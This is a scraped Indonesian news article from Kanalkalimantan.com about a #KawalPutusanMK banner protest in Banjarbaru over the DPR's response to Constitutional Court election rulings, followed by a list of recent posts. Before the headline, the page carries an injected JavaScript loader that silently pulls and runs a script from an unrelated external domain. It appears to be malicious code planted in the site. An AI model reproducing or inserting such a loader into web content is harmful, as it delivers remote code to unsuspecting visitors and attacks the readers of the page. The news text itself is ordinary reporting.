(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

#KawalPutusanMK dari JPO Banjarbaru


KANALKALIMANTAN.COM, BANJARBARU – Spanduk peringatan bertuliskan tagar #KawalPutusanMK terbentang dari atas Jembatan Penyeberangan Orang (JPO) Jalan Ahmad Yani Km 34, Kota Banjarbaru Kalimantan Selatan (Kalsel), Kamis (22/8/2024) siang.

Aksi #KawalPutusanMK menjadi puncak kegusaran masyarakat termasuk di Kalsel, menandakan kondisi demokrasi hari ini sedang tidak sehat.

Merespons kondisi ‘sakit’ itu, masyarakat sipil dan mahasiswa diinisiasi Wahana Lingkungan Hidup Indonesia (Walhi) Kalsel menyatakan sikap DPR RI dan pemerintah terhadap putusan MK 60 dan 70 tentang syarat ambang batas pencalonan kepala daerah.

Dengan spanduk sepanjang sekitar tiga meter di atas JPO itu, mereka lakukan aksi simbolik untuk mengkampanyekan dan mengajak masyarakat peduli, prihatin, serta bersuara terhadap penjegalan konstitusi itu.

“Bisa disebut sebagai aksi simbolik pemantik, biar warga Kalsel khususnya, agar aware dengan kondisi demokrasi kita, dan merespon pembangkangan konstitusi oleh DPR RI yang menganulir putusan MK terkait syarat calon kepala daerah,” ujar kordinator aksi #KawalPutusanMK, Jefri kepada Kanalkalimantan.com, Kamis (22/8/2024) siang.

Baca juga: Dewan Guru Besar UI: Setop Revisi UU Pilkada!

Jefri mengatakan melalui aksi ini, mereka yang peduli pada demokrasi  mengupayakan respon terhadap penjegalan putusan MK terkait syarat calon kepala daerah.

Poin besar tuntutannya, DPR RI sebagai penjaga demokrasi dan konsitusi, seharusnya taat pada konstitusi di Indonesia.

“Harusnya DPR RI secara moral menaati putusan MK bukan malah menganulir putusan MK itu,” tegas dia.

Baca juga: PLN Hadirkan 100 Persen Listrik Hijau HUT ke-79 RI di IKN

Mereka berpendapat dengan tanpa ada putusan MK tersebut, syarat calon kepala daerah akan berpotensi melanggengkan politik dinasti yang diketahui sudah berjalan.

Bahkan rencana Badan Legislasi (Baleg) DPR RI untuk melakukan manuver dengan merevisi RUU Pilkada yang bertentangan dengan putusan Mahkamah Konstitusi nomor 60/PUU-XXII/2024 dan 70/PUU-XXII/2024 ini menurutnya harus dibatalkan, bukan malah ditunda.

“Saat ini beberapa elemen masyarakat sedang melakukan konsolidasi juga terkait dengan aksi aksi untuk terus mengawal kasus ini agar yang dianulir DPR RI ini tidak terjadi bahkan sidang yang hanya ditunda ini harusnya dibatalkan,” jelasnya.

Baca juga: Desa Panyipatan di Tala Tawarkan Tiga Wisata Alam Sejukkan Mata

Dalam aksi itu juga, mereka menempelkan poster-poster untuk membangun kesadaran di antara masyarakat  agar mempunyai tujuan yang sama yaitu mempertahankan demokrasi di Indonesia.

Diketahui, sehari pasca putusan Mahkamah Konstitusi (MK) terkait Pilkada, Baleg DPR RI, menggelar rapat panitia kerja (Panja) terkait Revisi Undang-Undang (RUU) Pilkada pada Rabu (21/8/2024).

Rapat itu untuk menindaklanjuti putusan MK yang membolehkan partai politik tanpa kursi di DPRD mengusung calon dalam Pilkada. Kemudian bagi partai politik yang memiliki kursi di DPRD tetap mengikuti aturan lama yakni minimal 20 persen perolehan kursi DPRD atau 25 persen perolehan suara sah.

Baca juga: Razia Satpol PP Banjarbaru, Pj Sekda Dapati Miras Oplosan dan PSK

Berdasarkan Putusan MK Nomor 60/PUU-XXII/2024, MK Putusan ini memberikan peluang bagi parpol kecil untuk berpartisipasi dalam Pilkada. Ini juga menjadi angin segar bagi calon yang belum memenuhi syarat ambang batas dukungan atau threshold, lantaran sebagian besar parpol besar telah diborong salah satu kandidat.

Sedangkan Putusan Nomor 70/PUU-XXII/2024, MK menetapkan syarat usia calon gubernur dan calon wakil gubernur harus berumur minimal 30 tahun pada saat penetapan calon.(Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie


Muhammad Andi

Recent Posts

KPw BI Kalsel Menggelar Capacity Building Jurnalis 2026

KANALKALIMANTAN.COM, BATULICIN – Kantor Perwakilan (KPw) Bank Indonesia (BI) Provinsi Kalimantan Selatan menggelara acara Capacity… Read More

2 jam ago

‎Gubernur Kalsel Kunjungi Warga Desa Pondok Bababaris

‎KANALKALIMANTAN.COM, AMUNTAI – Gubernur Kalimantan Selatan H Muhidin meninjau langsung warga terdampak banjir di Desa… Read More

2 jam ago

Dari Rakor Bulanan: 1.398 Pegawai Non ASN Digaji APBD, Alarm Banjarbaru Menjadi “Kota Kotor”

KANALKALIMANTAN.COM, BANJARBARU – Pegawai Non Aparatur Sipil Negara (ASN) menjadi perhatian Pemerintah Kota (Pemko) Banjarbaru… Read More

13 jam ago

Naik Motor Trail, Bupati Kapuas Tinjau Jalan di Kecamatan Selat

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno menggunakan sepeda motor trail meninjau sejumlah… Read More

13 jam ago

Jelang Pilkades Serentak 2026, Pemkab Banjar Gelar Rapat Persiapan

KANALKALIMANTAN.COM, MARTAPURA – Pemerintah Kabupaten Banjar melakukan persiapan guna menghadapi pelaksanaan Pemilihan Kepala Desa (Pilkades)… Read More

18 jam ago

Resmikan Puskesmas, Bupati Banjar Harapkan Pelayanan Terbaik kepada Masyarakat

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur meresmikan UPTD Puskesmas Martapura Barat, yang dirangkai dengan… Read More

19 jam ago

This website uses cookies.